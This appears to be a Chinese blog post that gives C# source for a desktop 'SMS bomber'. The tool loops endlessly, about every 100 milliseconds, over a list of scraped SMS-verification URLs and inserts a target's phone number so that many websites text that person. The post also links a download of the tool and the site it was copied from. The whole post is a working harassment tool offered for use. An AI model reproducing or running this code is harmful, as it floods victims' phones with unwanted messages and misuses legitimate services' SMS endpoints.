短信轰炸PC版

前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
  问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
  直接贴代码:
  
private delegate void DelegateFun(object obj);
        private Thread thread = null;
        /// <summary>
        ///  发送
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnSend_Click(object sender, EventArgs e)
        {
            if (thread != null)
            {
                thread.Abort();
            }
            txtResult.Text = "";
            if (!CheckData())
            {
                return;
            }

            thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
            thread.IsBackground = true;
            thread.Start(txtPhoneID.Text.Trim());
        }
        /// <summary>
        ///  停止
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnStop_Click(object sender, EventArgs e)
        {
            if (thread != null)
            {
                thread.Abort();
            }
        }
        /// <summary>
        ///  退出
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnExit_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }
        /// <summary>
        ///  线程
        /// </summary>
        /// <param name="phoneID"></param>
        private void CrossThreadFlush(object phoneID)
        {
            while (true)
            {
                //将sleep和无限循环放在等待异步的外面
                Thread.Sleep(100);
                ThreadFunction(phoneID);
            }
        }
        /// <summary>
        ///  线程
        /// </summary>
        /// <param name="phoneID"></param>
        private void ThreadFunction(object phoneID)
        {
            SendRequest(phoneID);
        }
        private void DelegateSetValue(object resultIndex)
        {
            if (resultIndex == null || resultIndex.ToString() == "")
            {
                return;
            }
            string[] resArray = resultIndex.ToString().Split(',');
            StringBuilder sbResult = new StringBuilder("");
            sbResult.AppendFormat("成功 {0} 次
", resArray[0]);
            sbResult.AppendFormat("不确定 {0} 次
", resArray[1]);
            sbResult.AppendFormat("失败数 {0} 次
", resArray[2]);
            int total = Convert.ToInt32(resArray[0]) + Convert.ToInt32(resArray[1]) + Convert.ToInt32(resArray[2]);
            sbResult.AppendFormat("共轰击 {0} 次
", total);
            this.txtResult.Text = sbResult.ToString();
        }

        private void SendRequest(object phoneID)
        {
            string url = GetUrl();
            int successIndex = 0;//成功条数
            int nullIndex = 0;//不确定条数
            int failIndex = 0;//失败条数
            string[] arrStr = url.Split('@');

            foreach (var item in arrStr)
            {
                if (string.IsNullOrEmpty(item))
                {
                    continue;
                }
                try
                {
                    string urlLast = item.Replace("
", "").Replace("手机号", phoneID.ToString());
                    string result = PostDataToUrl("", urlLast);
                    if (!string.IsNullOrEmpty(result))
                    {
                        if (txtResult.InvokeRequired)
                        {
                            successIndex++;
                            DelegateFun d = new DelegateFun(DelegateSetValue);
                            txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
                        }
                    }
                    else
                    {
                        if (txtResult.InvokeRequired)
                        {
                            nullIndex++;
                            DelegateFun d = new DelegateFun(DelegateSetValue);
                            txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
                        }
                    }
                }
                catch (Exception)
                {
                    if (txtResult.InvokeRequired)
                    {
                        failIndex++;
                        DelegateFun d = new DelegateFun(DelegateSetValue);
                        txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
                    }
                    continue;
                }
            }
        }
        /// <summary>
        ///  发送get请求
        /// </summary>
        /// <param name="postDataStr"></param>
        /// <param name="Url"></param>
        /// <returns></returns>
        private string PostDataToUrl(string postDataStr, string Url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr);

            request.Method = "GET";
            request.ContentType = "text/html;charset=UTF-8";
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream myResponseStream = response.GetResponseStream();
            StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
            string retString = myStreamReader.ReadToEnd();
            myStreamReader.Close();
            myResponseStream.Close();

            return retString;
        }
        /// <summary>
        ///  数据校验
        /// </summary>
        /// <returns></returns>
        private bool CheckData()
        {
            
            if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
            {
                txtPhoneID.Focus();
                errorProPhone.SetError(txtPhoneID, "输入手机号");
                return false;
            }
            else
            {
                errorProPhone.Clear();
            }
            return true;
        }
        /// <summary>
        ///  获取短信接口
        /// </summary>
        /// <returns></returns>
        private string GetUrl()
        {
            string url = @"短信接口地址(附件中链接贴过来)";
            return url;
        }

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

原文地址:https://www.cnblogs.com/jiangqw/p/3224007.html